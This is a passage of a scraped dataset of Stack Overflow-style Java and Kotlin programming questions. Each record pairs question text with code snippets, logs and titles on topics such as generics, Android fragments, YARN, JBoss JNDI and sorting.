( i % img.getWidth ( ) == 0 || i > = imgArray.length - img.getWidth ( ) ) continue ; buffer2 [ i ] = ( ( ( buffer1 [ i-1 ] + buffer1 [ i+1 ] + buffer1 [ i-img.getWidth ( ) ] + buffer1 [ i+img.getWidth ( ) ] ) > > 1 ) ) - buffer2 [ i ] ; buffer2 [ i ] -= ( buffer2 [ i ] > > 5 ) ; } //Still my version of his code , because of the int [ ] instead of int [ ] [ ] . for ( int y = 1 ; y < img.getHeight ( ) - 2 ; y++ ) { for ( int x = 1 ; x < img.getWidth ( ) - 2 ; x++ ) { int xOffset = buffer1 [ ( ( y ) *img.getWidth ( ) ) + ( x-1 ) ] - buffer1 [ ( ( y ) *img.getWidth ( ) ) + ( x+1 ) ] ; int yOffset = buffer1 [ ( ( y-1 ) *img.getWidth ( ) ) + ( x ) ] - buffer1 [ ( ( y+1 ) *img.getWidth ( ) ) + ( x ) ] ; int shading = xOffset ; //Here is where the error occurs ( after a click or wave started ) , because yOffset becomes -512 ; which in turn gets //multiplied by y ... Not good ... -_- movedImgArray [ ( y*img.getWidth ( ) ) + x ] = imgArray [ ( ( y+yOffset ) *img.getWidth ( ) ) + ( x+xOffset ) ] + shading ; } } //This is my OLD code that kidna worked ... //I threw in here to show you how I was doing it before I switched to images . /* for ( int y = 1 ; y < img.getHeight ( ) - 1 ; y++ ) { for ( int x = 1 ; x < img.getWidth ( ) - 1 ; x++ ) { //buffer2 [ y ] [ x ] = ( ( buffer1 [ y ] [ x-1 ] + //buffer1 [ y ] [ x+1 ] + //buffer1 [ y+1 ] [ x ] + //buffer1 [ y-1 ] [ x ] ) / 4 ) - buffer2 [ y ] [ x ] ; buffer2 [ y ] [ x ] = ( ( buffer1 [ y ] [ x-1 ] + buffer1 [ y ] [ x+1 ] + buffer1 [ y+1 ] [ x ] + buffer1 [ y-1 ] [ x ] + buffer1 [ y + 1 ] [ x-1 ] + buffer1 [ y + 1 ] [ x+1 ] + buffer1 [ y - 1 ] [ x - 1 ] + buffer1 [ y - 1 ] [ x + 1 ] ) / 4 ) - buffer2 [ y ] [ x ] ; buffer2 [ y ] [ x ] = ( int ) ( buffer2 [ y ] [ x ] * dampening ) ; } } */ } //Swaps buffers private void swap ( ) { int [ ] temp ; temp = buffer2 ; buffer2 = buffer1 ; buffer1 = temp ; } //This creates a wave upon clicking . It also is where that 512 is coming from . //512 was about right in my OLD code shown above , but helps to cause the Exeception now . @ Override public void mouseClicked ( MouseEvent e ) { if ( e.getX ( ) > 0 & & e.getY ( ) > 0 & & e.getX ( ) < img.getWidth ( ) & & e.getY ( ) < img.getHeight ( ) ) buffer2 [ ( ( e.getY ( ) ) *img.getWidth ( ) ) + ( e.getX ( ) ) ] = 512 ; } private BufferedImage back ; @ Override public void paintComponent ( Graphics g ) { super.paintComponent ( g ) ; back.setRGB ( 0 , 0 , img.getWidth ( ) , img.getHeight ( ) , movedImgArray , 0 , img.getWidth ( ) ) ; g.drawImage ( back , 0 , 0 , null ) ; } }",Wave generation with the `` Hugo Elias '' algorithm please ! Java +Java,"I am a little confused with something.I have a class where its not a collection , but it does refer to generic objects : I believe I read somewhere that < ? extends AnInterface > is to be used ( when declaring an instance of XClass ) if you want multiple subtype-types in the generic object at the same time , whereas < T extends AnInterface > would only allow you to have a single type of subtype in the generic class at once ? However , I can just use : and this way I can pass in multiple subtypes of Supertype to the generic class ... ... I am not seeing the purpose of using `` ? '' and is there anything wrong with using the Interface as the generic parameter ?",public class XClass < E extends AnInterface > { E instanceobject ; public void add ( E toAdd ) { } } public interface AnInterface { } public class A implements AnInterface { } public class B implements AnInterface { } XClass < AnInterface > xc = new XClass < AnInterface > ( ) ; A a = new A ( ) ; B b = new B ( ) ; xc.add ( a ) ; xc.add ( b ) ;,< T extends AnInterface > vs < ? extends AnInterface > +Java,"I 'm learn rxjava using this article : http : //blog.danlew.net/2014/09/22/grokking-rxjava-part-2/and ca n't reproduce first example of this articleI did next : But I have an errors , which I added as commentsWhat I did wrong ?","Observable < List < String > > query ( String text ) ; //Gradle : error : missing method body , or declare abstract @ Overrideprotected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; query.subscribe ( urls - > { //Gradle : error : can not find symbol variable query for ( String url : urls ) { System.out.println ( url ) ; } } ) ; }",RxJava operators +Java,I am building a chat application and I have got a question about my fragment containing a listview with all the chats.When a user receives a message the chats list is updated ( showing the last message for every chat ) ( image 1 ) .When a chat is not visible and a message is received in that chat the user will receive a notification ( image 2 ) At this point the problem starts . When the user clicks on the notification the chats listview seems to be broken . When the user receives another message after clicking on the notification his/her phone will vibrate but the chats listview does n't change/update.The other views do work after clicking the notification.Below is a piece of the code that handles the listview update.Main Activity ( how the fragments are created ) Chats AdapterRefresh Chats List functionLogcat outputChats ListNotification,"protected PacketListener packetListener = new PacketListener ( ) { @ Override public void processPacket ( Packet packet ) { final Message message = ( Message ) packet ; if ( message.getBody ( ) ! = null ) { final String fromName = StringUtils.parseName ( message.getFrom ( ) ) ; runOnUiThread ( new Runnable ( ) { @ Override public void run ( ) { Boolean seen = false ; if ( ChatFragment.currentChat ! = null & & ChatFragment.currentChat.getContact ( ) .getUsername ( ) .equals ( fromName ) & & VisibilityHelper.appIsVisible ( ) & & VisibilityHelper.fragmentIsVisible ( ChatFragment.fragmentClassName ) ) { seen = true ; } Long chat_id = chatsDataSource.getChatByContactId ( contactsDataSource.getContactByUsername ( fromName ) .getId ( ) ) .getId ( ) ; ChatMessage newChatMessage = chatMessagesDataSource.insertChatMessage ( chat_id , ConstantHelper.CHAT_MESSAGES_TYPE_RECEIVED , seen , DateHelper.getDatetime ( ) , message.getBody ( ) ) ; Log.d ( `` DEBUG '' , VisibilityHelper.sCurrentFragmentClassName ) ; if ( VisibilityHelper.appIsVisible ( ) & & VisibilityHelper.fragmentIsVisible ( ChatsFragment.fragmentClassName ) ) { ChatsFragment chatsFragment = ( ChatsFragment ) getFragmentManager ( ) .findFragmentByTag ( ChatsFragment.fragmentClassName ) ; Log.d ( `` DEBUG '' , `` REFRESHING '' ) ; chatsFragment.refreshChatsList ( ) ; } if ( ! VisibilityHelper.appIsVisible ( ) ) { notificationHelper.externalNotification ( getBaseContext ( ) , newChatMessage ) ; } else { if ( ChatFragment.currentChat ! = null & & ChatFragment.currentChat.getContact ( ) .getUsername ( ) .equals ( fromName ) & & VisibilityHelper.appIsVisible ( ) & & VisibilityHelper.fragmentIsVisible ( ChatFragment.fragmentClassName ) ) { ChatFragment.chatsList.add ( newChatMessage ) ; ChatFragment.chatsList.notifyDataSetChanged ( ) ; } else { notificationHelper.internalNotification ( getBaseContext ( ) , newChatMessage ) ; } } } } ) ; } } } ; @ Overrideprotected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; getWindow ( ) .requestFeature ( Window.FEATURE_INDETERMINATE_PROGRESS ) ; setContentView ( R.layout.activity_main ) ; Bundle extras = getIntent ( ) .getExtras ( ) ; initializeDataSources ( ) ; setLastContactUpdate ( ) ; if ( usersDataSource.getCurrentUser ( ) == null ) { Intent LoginActivity = new Intent ( getApplicationContext ( ) , LoginActivity.class ) ; LoginActivity.addFlags ( Intent.FLAG_ACTIVITY_CLEAR_TOP ) ; startActivity ( LoginActivity ) ; finish ( ) ; } else { if ( localServiceBinder == null ) localServiceBinder = new LocalServiceBinder ( ) ; bindLocalService ( ) ; runDispatchMethod ( extras , savedInstanceState ) ; if ( savedInstanceState == null ) { getAndSaveUserDetails ( ) ; GCMRegistrationID = registerGCM ( ) ; } } } protected void runDispatchMethod ( Bundle extras , Bundle savedInstanceState ) { if ( savedInstanceState == null ) { startFragment ( new ChatsFragment ( ) , false ) ; } if ( extras ! = null & & extras.getString ( ConstantHelper.RECEIVED_MESSAGES_FROM ) ! = null & & ! extras.getString ( ConstantHelper.RECEIVED_MESSAGES_FROM ) .equals ( `` '' ) ) { getFragmentManager ( ) .popBackStack ( null , FragmentManager.POP_BACK_STACK_INCLUSIVE ) ; startFragment ( new ChatsFragment ( ) , false ) ; ChatFragment chatFragment = new ChatFragment ( ) ; Bundle chatExtras = ( Bundle ) new Bundle ( ) ; chatExtras.putString ( ConstantHelper.RECEIVED_MESSAGES_FROM , extras.getString ( ConstantHelper.RECEIVED_MESSAGES_FROM ) ) ; chatFragment.setArguments ( chatExtras ) ; startFragment ( chatFragment ) ; return ; } } public void startFragment ( Fragment newFragment ) { startFragment ( newFragment , true ) ; } public void startFragment ( Fragment newFragment , Boolean addToBackstack ) { if ( addToBackstack ) { getFragmentManager ( ) .beginTransaction ( ) .replace ( R.id.container , newFragment , newFragment.getClass ( ) .getName ( ) ) .addToBackStack ( newFragment.getClass ( ) .getName ( ) ) .commit ( ) ; } else { getFragmentManager ( ) .beginTransaction ( ) .replace ( R.id.container , newFragment , newFragment.getClass ( ) .getName ( ) ) .commit ( ) ; } getFragmentManager ( ) .executePendingTransactions ( ) ; } public class ChatsAdapter extends BaseAdapter { private List < Chat > chats ; private LayoutInflater inflater ; private String emptyLastMessageValue ; public ChatsAdapter ( Context context , List < Chat > chats ) { this.chats = chats ; this.inflater = ( LayoutInflater ) context.getSystemService ( Context.LAYOUT_INFLATER_SERVICE ) ; emptyLastMessageValue = context.getText ( R.string.fragment_chats_chat_created ) .toString ( ) ; } @ Overridepublic int getCount ( ) { return chats.size ( ) ; } @ Overridepublic Chat getItem ( int position ) { return chats.get ( position ) ; } @ Overridepublic long getItemId ( int position ) { return chats.get ( position ) .getId ( ) ; } @ Overridepublic View getView ( int position , View convertView , ViewGroup parent ) { View chatAdapterView = convertView ; if ( convertView == null ) chatAdapterView = inflater.inflate ( R.layout.adapter_chats , null ) ; TextView layout_fullname = ( TextView ) chatAdapterView.findViewById ( R.id.fullname ) ; TextView layout_last_message = ( TextView ) chatAdapterView.findViewById ( R.id.last_message ) ; TextView layout_unread_messages = ( TextView ) chatAdapterView.findViewById ( R.id.unread_messages ) ; TextView layout_last_message_datetime = ( TextView ) chatAdapterView.findViewById ( R.id.last_message_datetime ) ; Chat row = chats.get ( position ) ; String firstname = row.getContact ( ) .getFirstname ( ) ; String fullname = row.getContact ( ) .getFullname ( ) ; if ( firstname == null || firstname.equals ( `` '' ) ) fullname = StringHelper.ucfirst ( row.getContact ( ) .getUsername ( ) ) ; layout_fullname.setText ( fullname ) ; String last_message_value ; String last_message_datetime_value = `` '' ; if ( row.getLastMessage ( ) == null ) { last_message_value = emptyLastMessageValue ; layout_last_message_datetime.setVisibility ( TextView.GONE ) ; layout_unread_messages.setVisibility ( TextView.GONE ) ; } else { last_message_value = row.getLastMessage ( ) .getMessageBody ( ) ; last_message_datetime_value = DateHelper.toReadableDatetime ( row.getLastMessage ( ) .getMessageDatetime ( ) ) ; layout_last_message_datetime.setText ( last_message_datetime_value ) ; Integer unreadMessages = row.getUnreadMessages ( ) ; if ( unreadMessages > 0 ) { layout_unread_messages.setText ( String.valueOf ( unreadMessages ) ) ; layout_unread_messages.setVisibility ( TextView.VISIBLE ) ; } else { layout_unread_messages.setVisibility ( TextView.GONE ) ; } } layout_last_message.setText ( last_message_value ) ; return chatAdapterView ; } } public void refreshChatsList ( ) { Log.d ( `` DEBUG '' , `` It does come here ! `` ) ; chats.clear ( ) ; chats.addAll ( ( ( MainActivity ) getActivity ( ) ) .chatsDataSource.getAllChats ( ) ) ; chats_adapter.notifyDataSetChanged ( ) ; } 07-06 20:12:43.892 : D/SMACK ( 14948 ) : 08:12:43 PM RCV ( 1106735848 ) : < message id= '' 3jRRg-24 '' to= '' tijme @ 192.168.137.1 '' type= '' chat '' from= '' test @ 192.168.137.1/Smack '' > < body > Test < /body > < /message > 07-06 20:12:43.962 : D/DEBUG ( 14948 ) : nl.test.messatch.fragments.ChatsFragment07-06 20:12:43.962 : D/DEBUG ( 14948 ) : REFRESHING07-06 20:12:43.962 : D/DEBUG ( 14948 ) : It does come here ! 07-06 20:12:48.406 : D/SMACK ( 14948 ) : 08:12:48 PM RCV ( 1106735848 ) : < message id= '' 3jRRg-25 '' to= '' tijme @ 192.168.137.1 '' type= '' chat '' from= '' test @ 192.168.137.1/Smack '' > < body > Test 2 < /body > < /message > 07-06 20:12:48.446 : D/DEBUG ( 14948 ) : nl.test.messatch.fragments.ChatsFragment07-06 20:12:51.059 : D/KUTZOOI ( 14948 ) : HELEMAAL WÄCK07-06 20:12:51.099 : D/dalvikvm ( 14948 ) : GC_FOR_ALLOC freed 161K , 3 % free 9653K/9912K , paused 19ms , total 21ms07-06 20:12:51.109 : I/dalvikvm-heap ( 14948 ) : Grow heap ( frag case ) to 13.272MB for 4000016-byte allocation07-06 20:12:51.139 : D/dalvikvm ( 14948 ) : GC_FOR_ALLOC freed 1K , 2 % free 13558K/13820K , paused 25ms , total 25ms07-06 20:12:54.953 : D/SMACK ( 14948 ) : 08:12:54 PM RCV ( 1106735848 ) : < message id= '' 3jRRg-26 '' to= '' tijme @ 192.168.137.1 '' type= '' chat '' from= '' test @ 192.168.137.1/Smack '' > < body > Test 3 < /body > < /message > 07-06 20:12:54.993 : D/DEBUG ( 14948 ) : nl.test.messatch.fragments.ChatsFragment07-06 20:12:54.993 : D/DEBUG ( 14948 ) : REFRESHING07-06 20:12:54.993 : D/DEBUG ( 14948 ) : It does come here !",Fragment wo n't update after opening notification +Java,"I am running a local Yarn Cluster with 8 vCores and 8Gb total memory . The workflow is as such : YarnClient submits an app request that starts the AppMaster in a container.AppMaster start , creates amRMClient and nmClient , register itself to the RM and next it creates 4 container requests for worker threads via amRMClient.addContainerRequestEven though there are enough resources available containers are not allocated ( The callback 's function onContainersAllocated is never called ) . I tried inspecting nodemanager 's and resourcemanager 's logs and I do n't see any line related to the container requests . I followed closely apache docs and ca n't understand what I ` m doing wrong . For reference here is the AppMaster code : Here is output from jps : And here is AppMaster log for initialization and 4 container requests : Thanks in advance .","@ Overridepublic void run ( ) { Map < String , String > envs = System.getenv ( ) ; String containerIdString = envs.get ( ApplicationConstants.Environment.CONTAINER_ID.toString ( ) ) ; if ( containerIdString == null ) { // container id should always be set in the env by the framework throw new IllegalArgumentException ( `` ContainerId not set in the environment '' ) ; } ContainerId containerId = ConverterUtils.toContainerId ( containerIdString ) ; ApplicationAttemptId appAttemptID = containerId.getApplicationAttemptId ( ) ; LOG.info ( `` Starting AppMaster Client ... '' ) ; YarnAMRMCallbackHandler amHandler = new YarnAMRMCallbackHandler ( allocatedYarnContainers ) ; // TODO : get heart-beet interval from config instead of 100 default value amClient = AMRMClientAsync.createAMRMClientAsync ( 1000 , this ) ; amClient.init ( config ) ; amClient.start ( ) ; LOG.info ( `` Starting AppMaster Client OK '' ) ; //YarnNMCallbackHandler nmHandler = new YarnNMCallbackHandler ( ) ; containerManager = NMClient.createNMClient ( ) ; containerManager.init ( config ) ; containerManager.start ( ) ; // Get port , ulr information . TODO : get tracking url String appMasterHostname = NetUtils.getHostname ( ) ; String appMasterTrackingUrl = `` /progress '' ; // Register self with ResourceManager . This will start heart-beating to the RM RegisterApplicationMasterResponse response = null ; LOG.info ( `` Register AppMaster on : `` + appMasterHostname + `` ... '' ) ; try { response = amClient.registerApplicationMaster ( appMasterHostname , 0 , appMasterTrackingUrl ) ; } catch ( YarnException | IOException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; return ; } LOG.info ( `` Register AppMaster OK '' ) ; // Dump out information about cluster capability as seen by the resource manager int maxMem = response.getMaximumResourceCapability ( ) .getMemory ( ) ; LOG.info ( `` Max mem capabililty of resources in this cluster `` + maxMem ) ; int maxVCores = response.getMaximumResourceCapability ( ) .getVirtualCores ( ) ; LOG.info ( `` Max vcores capabililty of resources in this cluster `` + maxVCores ) ; containerMemory = Integer.parseInt ( config.get ( YarnConfig.YARN_CONTAINER_MEMORY_MB ) ) ; containerCores = Integer.parseInt ( config.get ( YarnConfig.YARN_CONTAINER_CPU_CORES ) ) ; // A resource ask can not exceed the max . if ( containerMemory > maxMem ) { LOG.info ( `` Container memory specified above max threshold of cluster . '' + `` Using max value . '' + `` , specified= '' + containerMemory + `` , max= '' + maxMem ) ; containerMemory = maxMem ; } if ( containerCores > maxVCores ) { LOG.info ( `` Container virtual cores specified above max threshold of cluster . '' + `` Using max value . '' + `` , specified= '' + containerCores + `` , max= '' + maxVCores ) ; containerCores = maxVCores ; } List < Container > previousAMRunningContainers = response.getContainersFromPreviousAttempts ( ) ; LOG.info ( `` Received `` + previousAMRunningContainers.size ( ) + `` previous AM 's running containers on AM registration . `` ) ; for ( int i = 0 ; i < 4 ; ++i ) { ContainerRequest containerAsk = setupContainerAskForRM ( ) ; amClient.addContainerRequest ( containerAsk ) ; // NOTHING HAPPENS HERE ... LOG.info ( `` Available resources : `` + amClient.getAvailableResources ( ) .toString ( ) ) ; } while ( completedYarnContainers ! = 4 ) { try { Thread.sleep ( 1000 ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; } } LOG.info ( `` Done with allocation ! `` ) ; } @ Overridepublic void onContainersAllocated ( List < Container > containers ) { LOG.info ( `` Got response from RM for container ask , allocatedCnt= '' + containers.size ( ) ) ; for ( Container container : containers ) { LOG.info ( `` Allocated yarn container with id : { } '' + container.getId ( ) ) ; allocatedYarnContainers.push ( container ) ; // TODO : Launch the container in a thread } } @ Overridepublic void onError ( Throwable error ) { LOG.error ( error.getMessage ( ) ) ; } @ Overridepublic float getProgress ( ) { return ( float ) completedYarnContainers / allocatedYarnContainers.size ( ) ; } 14594 NameNode15269 DataNode17975 Jps14666 ResourceManager14702 NodeManager 23:47:09 YarnAppMaster - Starting AppMaster Client OK23:47:09 YarnAppMaster - Register AppMaster on : andrei-mbp.local/192.168.1.4 ... 23:47:09 YarnAppMaster - Register AppMaster OK23:47:09 YarnAppMaster - Max mem capabililty of resources in this cluster 204823:47:09 YarnAppMaster - Max vcores capabililty of resources in this cluster 223:47:09 YarnAppMaster - Received 0 previous AM 's running containers on AM registration.23:47:11 YarnAppMaster - Requested container ask : Capability [ < memory:512 , vCores:1 > ] Priority [ 0 ] 23:47:11 YarnAppMaster - Available resources : < memory:7680 , vCores:0 > 23:47:11 YarnAppMaster - Requested container ask : Capability [ < memory:512 , vCores:1 > ] Priority [ 0 ] 23:47:11 YarnAppMaster - Available resources : < memory:7680 , vCores:0 > 23:47:11 YarnAppMaster - Requested container ask : Capability [ < memory:512 , vCores:1 > ] Priority [ 0 ] 23:47:11 YarnAppMaster - Available resources : < memory:7680 , vCores:0 > 23:47:11 YarnAppMaster - Requested container ask : Capability [ < memory:512 , vCores:1 > ] Priority [ 0 ] 23:47:11 YarnAppMaster - Available resources : < memory:7680 , vCores:0 > 23:47:11 YarnAppMaster - Progress indicator should not be negative",Yarn AppMaster request for containers not working +Java,"I played around with java.util.HashMap to learn what the fail-fast behaviour is.I got the resultI also tried using an iteratorI did n't get any ConcurrentModificationException in either case ..Is this because ( from javadoc ) the fail-fast behavior of an iterator can not be guaranteed as it is , generally speaking , impossible to make any hard guarantees in the presence of unsynchronized concurrent modification . Fail-fast iterators throw ConcurrentModificationException on a best-effort basisI checked another thread which says , it WILL throw ConcurrentModificationException..what do you think ?","HashMap map = new HashMap ( ) ; map.put ( `` jon '' , 10 ) ; map.put ( `` sean '' , 11 ) ; map.put ( `` jim '' , 12 ) ; map.put ( `` stark '' , 13 ) ; map.put ( `` vic '' , 14 ) ; Set keys = map.keySet ( ) ; for ( Object k : keys ) { System.out.println ( map.get ( k ) ) ; } for ( Object k : keys ) { String key = ( String ) k ; if ( key.equals ( `` stark '' ) ) { map.remove ( key ) ; } } System.out.println ( `` after modifn '' ) ; for ( Object k : keys ) { System.out.println ( map.get ( k ) ) ; } 1211101413after modifn12111014 Iterator < String > itr = keys.iterator ( ) ; while ( itr.hasNext ( ) ) { String key = itr.next ( ) ; if ( key.equals ( `` stark '' ) ) { map.remove ( key ) ; } }",fail fast behaviour of java HashMap +Java,"I 'm new to Kotlin , but I have a strong Java background ( Java is my day job ) . I 'm loving some of the shortcut functions in Kotlin . One of the big ones is File.appendText ( ) . It 's very convenient , IMO.My question is about closing resources . If I was to use a writer , I would do something like this : But I do n't see any thing directly on the appendText method that indicates closing resources . Does Kotlin handle this behind the scenes for me , or is this something I have to worry about in another way ? Thanks .",out8.writer ( ) .use { ... },Kotlin : appendText and closing resources +Java,I am working with Spring MongoDB and now I 'm facing a problem for inserting values into an arraylist . Here is my POJO class structure ... '' Lead '' is another POJO class which is like ... '' History '' is anther POJO class which is like..and the problem is i want to insert data into trackrecords while updating one lead . is it possible in spring mongotemplate.. ? ? if it is possible then please help me . Thank you in advance,public class Search implements Serializable { private static final long serialVersionUID = 1L ; @ Id private String id ; private String searchkey ; private ArrayList < Lead > leads ; } public class Lead implements Serializable { private static final long serialVersionUID = 1L ; private String leadtext ; private String address ; private ArrayList < History > trackrecords ; } public class History implements Serializable { private static final long serialVersionUID = 1L ; private String id ; private String changedfield ; private String oldvalue ; private String newvalue ; },How to insert values in an inner arraylist while updating outer arraylist in mongodb ? +Java,I have a list of objects . Each object contains another list . I want to filter the list with condition on inner list.For example : There is a list of factories . Each factory contains a list of different car models it produces.I want to filter factory list in such way that I will get only factories that produce Mazda3.How can I do it with lambda ? It should be something similar to this :,factories.stream ( ) .filter ( f - > f.getCars ( ) .stream ( ) .filter ( c - > C.getName ( ) .equals ( `` Mazda3 '' ) ) . ) .collect ( Collectors.toList ( ) ) ;,Filter a list with condition on inner list +Java,"I 'm battling out of memory issues with my application and am trying to get my head around garbage collection . If I have the following code : So my question is , will myObject be available for garbage collection after myObject.doSomething ( ) which is the last use of this object , or after the completion of someMethod ( ) where it comes out of scope ? I.e . is the garbage collection smart enough to see that though a local variable is still in scope , it wo n't be used by the rest of the code ?",public void someMethod ( ) { MyObject myObject = new MyObject ( ) ; myObject.doSomething ( ) ; //last use of myObject in this scope doAnotherThing ( ) ; andEvenMoreThings ( ) ; },At what point exactly is an object available for garbage collection ? +Java,"In Java Arrays.sort ( ) for primitive type uses quick sort . On the other hand Arrays.sort ( ) for objects uses Merge sort . And , same goes for Collection.sort ( ) which also uses Merge sort . Collections sort uses Arrays sort implementation underneath . So , in simple sense i can say that primitives are sorted using quick sort but objects are sorted using Merge sort . My guess is it has something to do with sorting algorithm it self . There are so many discussion on SO on Quick sort vs Merge sort , like this and this . Seems to be there are conflicting claims on which one is better , which is understandable as this depend on data sets . My understanding is In place : Quick sort wins . Merge sort can be implemented in in-place for Linked listExternal Storage Data : Merge sort wins.Sorting List ( backed by any form of linked list ) : Merge sort wins . LinkAndroid API seems to follow the same pattern as Java . This is what i found in Arrays.javaAnd this , What i do not understand is , what makes Merge sort a good candidate for sorting objects in Java or in Android ? Why not leaving this decision upto developers ?",public static void sort ( long [ ] array ) { DualPivotQuicksort.sort ( array ) ; } public static void sort ( Object [ ] array ) { ComparableTimSort.sort ( array ) ; },Why Merge sort is used for objects in Android/Java API ? +Java,"I 'm trying to setup the Jboss server `` client '' ( version 5.1.0 ) to use remote EJBs from another Jboss server ( 10.90.0.91 ) , but I ca n't do this using a jndi.properties file on the Jboss client.I can get the remote EJB using this simple code on my client : This works fine . Now I would like to setup the Jboss client with this properties . But if I edit the existent jndi.properties file localized on server/ { application } /conf/ from : To : I receive some errors when I start the Jboss client ( apparently , I do n't know what I 'm doing : ) ) : And in the final : So , I think I ca n't touch in already existent JNDI properties on that file.If the jndi.properties file can not be changed because it is used by JBoss itself , in which location puts my JNDI lookup settings to the remote EJBs within the Jboss 5 ? How can I configure a jndi.properties file to be available in the application classpath without put the jndi.properties file inside of my WAR file ? Thanks !","InitialContext ctx = null ; try { Hashtable < String , String > jndiProps = new Hashtable < String , String > ( ) ; jndiProps.put ( InitialContext.INITIAL_CONTEXT_FACTORY , `` org.jnp.interfaces.NamingContextFactory '' ) ; jndiProps.put ( InitialContext.PROVIDER_URL , `` jnp : //10.90.0.91:1099 '' ) ; ctx = new InitialContext ( jndiProps ) ; return ctx.lookup ( jndiName ) ; } catch ( NamingException e ) { throw new RuntimeException ( e ) ; } # DO NOT EDIT THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING # java.naming.factory.initial=org.jboss.iiop.naming.ORBInitialContextFactoryjava.naming.factory.url.pkgs=org.jboss.naming : org.jnp.interfaces # DO NOT EDIT THIS FILE UNLESS YOU KNOW WHAT YOU ARE DOING # java.naming.factory.initial=org.jnp.interfaces.NamingContextFactoryjava.naming.provider.url=jnp : //10.90.0.91:1099 2016-08-19 10:17:41,645 ERROR [ org.jboss.kernel.plugins.dependency.AbstractKernelController ] ( main ) Error installing to Start : name=HASessionStateService state=Createjavax.naming.NameAlreadyBoundException : Default at org.jnp.server.NamingServer.bind ( NamingServer.java:209 ) at org.jnp.server.NamingServer.bind ( NamingServer.java:167 ) [ ... ] 2016-08-19 10:17:42,767 ERROR [ org.jboss.kernel.plugins.dependency.AbstractKernelController ] ( main ) Error installing to Start : name=ProfileServiceProxyFactory state=Createjavax.naming.NameAlreadyBoundException : ProfileService at org.jnp.server.NamingServer.bind ( NamingServer.java:209 ) at sun.reflect.NativeMethodAccessorImpl.invoke0 ( Native Method ) [ ... ] 2016-08-19 10:17:44,778 ERROR [ org.jboss.kernel.plugins.dependency.AbstractKernelController ] ( main ) Error installing to Start : name=jboss : service=ClientUserTransaction state=Create mode=Manual requiredState=Installedjavax.naming.NameAlreadyBoundException : UserTransaction at org.jnp.server.NamingServer.bind ( NamingServer.java:209 ) at sun.reflect.GeneratedMethodAccessor487.invoke ( Unknown Source ) [ ... ] 2016-08-19 10:17:51,993 ERROR [ org.jboss.system.server.profileservice.ProfileServiceBootstrap ] ( main ) Failed to load profile : Summary of incomplete deployments ( SEE PREVIOUS ERRORS FOR DETAILS ) : DEPLOYMENTS MISSING DEPENDENCIES : Deployment `` ProfileServiceInvocationHandler '' is missing the following dependencies : Dependency `` ProfileServiceProxyFactory '' ( should be in state `` Configured '' , but is actually in state `` **ERROR** '' ) Dependency `` ProfileServiceProxyFactory '' ( should be in state `` Configured '' , but is actually in state `` **ERROR** '' ) DEPLOYMENTS IN ERROR : Deployment `` jboss : service=ClientUserTransaction '' is in error due to the following reason ( s ) : javax.naming.NameAlreadyBoundException : UserTransaction Deployment `` HASessionStateService '' is in error due to the following reason ( s ) : javax.naming.NameAlreadyBoundException : Default Deployment `` ProfileServiceProxyFactory '' is in error due to the following reason ( s ) : javax.naming.NameAlreadyBoundException : ProfileService , **ERROR**",I ca n't setup my jndi.properties to access remote EJBs on Jboss 5 +Java,"I have a question about use of static inner class in the following code , adapted from Eckel 's Thinking in Java 4th edition ( page 625 ) .The code uses a static inner class called Node . When you create a Stack structure , you can then push the nodes onto the stack and pop them off - so far so good . But I 'm confused about why the node class is static ? Would n't that mean that there would be only one Node created in the LinkedStack class ? How / why is it that in fact you can push many different nodes onto the stack , and then pop them off ( which of course is what the stack is supposed to do ) . In fact , you can change private static class Node to 'private class Node ` and it also works ... so why did Eckels choose static class Node ? In this example , the input is the three words `` Phasers '' , `` on '' , `` stun ! '' and output is `` stun ! `` , `` on '' , `` Phasers '' .","public class LinkedStack < T > { //generic inner class node private static class Node < U > { U item ; Node < U > next ; Node ( ) { item = null ; next = null ; } Node ( U item , Node < U > next ) { this.item = item ; this.next = next ; } boolean isDummyNode ( ) { return item == null & & next == null ; } } //initialize top of stack as a dummy first node private Node < T > top = new Node < T > ( ) ; public void push ( T item ) { top = new Node < T > ( item , top ) ; } public T pop ( ) { T result = top.item ; if ( ! top.isDummyNode ( ) ) top = top.next ; return result ; } public static void main ( String [ ] args ) { LinkedStack < String > stack = new LinkedStack < String > ( ) ; for ( String s : `` Phasers on stun ! `` .split ( `` `` ) ) stack.push ( s ) ; String s ; while ( ( s = stack.pop ( ) ) ! = null ) System.out.println ( s ) ; } }",Using a static inner class +Java,"I want to sort the following example list which currently contains only Strings with my own custom rules.I know that I could write my own comparator for this , but as I know that Java also got comparators which solve this problem partially I want to know how I can use the ones from the Java API in combination with my own one.How should it be sorted ? The word just should always be the first word to appear in the list followed by all other words in alphabetical order.Comparator.naturalOrder ( ) sorts the list in alphabetical order , but how can I combine this comperator with a custom one which checks whether the word is just or something else .",ArrayList < String > coll = new ArrayList < > ( ) ; coll.add ( `` just '' ) ; coll.add ( `` sdsd '' ) ; coll.add ( `` asb '' ) ; coll.add ( `` b as '' ) ; coll.add ( `` just '' ) ; coll.add ( `` dhfga '' ) ; coll.add ( `` jusht '' ) ; coll.add ( `` ktsa '' ) ; coll.add ( `` just '' ) ; coll.add ( `` just '' ) ;,Java Using Comparators in combination with custom Comparators +Java,I am using JRuby along with Cucumber and is looking for a way of running from within the Java ScriptEngine . No amount of Googling have let me to a solution to this problem . Basically I want to be able to do something like thisIs there a way of accomplishing this ?,jruby -S gem update -- system jruby -S gem install cucumber ScriptEngineManager manager = new ScriptEngineManager ( ) ; ScriptEngine jRubyEngine = manager.getEngineByName ( `` jruby '' ) ; : // some unknown code here jRubeEngine.eval ( `` call gems install/update from inside JRuby '' ),Installing gems inside ( J ) Ruby code +Java,I 've finally got around to trying to get rid of all those new compiler warnings that Java 7 has kindly generated . I these two left that I can not fathom . Is there any way of getting rid of them without suppressing them ? Constructing an array of generically typed objects ( where can I put a in the array creation ? ) : Generic varargs ( Seems to happen almost everywhere I accept varargs of a generic type ) : BTW : I already have :,static final int N = 10 ; //warning : [ unchecked ] unchecked conversion static final Set < Widget > [ ] queued = new ConcurrentSkipListSet [ N ] ; //required : Set < Widget > [ ] //found : ConcurrentSkipListSet [ ] class Foo < T > { //warning : [ unchecked ] Possible heap pollution from parameterized vararg type T public void add ( T ... entries ) { //where T is a type-variable : //T extends Object declared in class Foo // Add many entries to the list . public void add ( List < T > entries ) { // ... } // Add a number of entries . public void add ( T ... entries 